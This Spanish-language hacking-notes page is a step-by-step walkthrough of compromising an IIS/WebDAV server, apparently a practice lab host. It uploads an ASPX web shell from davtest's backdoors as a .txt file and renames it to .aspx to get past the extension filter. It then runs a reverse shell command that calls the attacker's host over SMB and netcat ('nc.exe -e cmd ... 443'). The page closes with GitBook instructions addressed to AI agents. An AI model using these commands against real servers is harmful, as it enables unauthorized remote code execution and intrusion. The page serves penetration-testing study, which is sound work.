> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# Web shell ASPX mediante WebDAV

El puerto 80 está abierto, y el servidor admite WebDAV. Esto nos permite potencialmente subir archivos mediante el método PUT y renombrarlos con MOVE.

<figure><img src="/files/9207be85602ff7a1bd5f1e3c26d1ee24944d52b4" alt=""><figcaption></figcaption></figure>

Crea un archivo de esto:

```bash
echo "this is a test" > test.txt

```

Conéctate al servidor con la herramienta **cadaver**:

```bash
cadaver 10.10.10.15

```

Intenta subir el archivo con el comando PUT:

<figure><img src="/files/202d2628c04924d313f2f38fddea39a23d39e0b8" alt=""><figcaption></figcaption></figure>

* Resultado: Éxito.

<figure><img src="/files/a5fa0bd2e044341ff410fe4152a1c78f09acb958" alt="" width="563"><figcaption></figcaption></figure>

### **Sube una WebShell**

Copia una WebShell ASPX existente:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

Intenta subirla directamente:

```powershell
put aspx_cmd.aspx

```

Resultado: Error (el servidor bloquea el archivo con la extensión .aspx).

<figure><img src="/files/f21d649aab592aba2e393c58a7a96d5e0cd7cfe8" alt="" width="563"><figcaption></figcaption></figure>

Cambia la extensión a **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

Reintenta la subida:

```powershell
PUT cmd.txt

```

* Resultado: Éxito.

<figure><img src="/files/df3fa927d87117875d9e2ff70ec4ab46a3e9cd00" alt="" width="563"><figcaption></figcaption></figure>

#### Renombra el archivo con MOVE para restaurar la extensión:

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/44809716f241a4048aa312b8de0b1333fea9510a" alt=""><figcaption></figcaption></figure>

Accede a la WebShell mediante el navegador:

<figure><img src="/files/ff3e2f6ec4fe11261f0e52e35104046c39231762" alt=""><figcaption></figcaption></figure>

### **Reverse shell a través de la WebShell:**

Coloca un Netcat ejecutable en el directorio actual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

Inicia un servidor SMB para compartir el archivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

Configura tu máquina como listener en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443

```

Ejecuta el comando de reverse shell desde la WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/999ce021cde8ab2b996908b853961582d170c1d1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
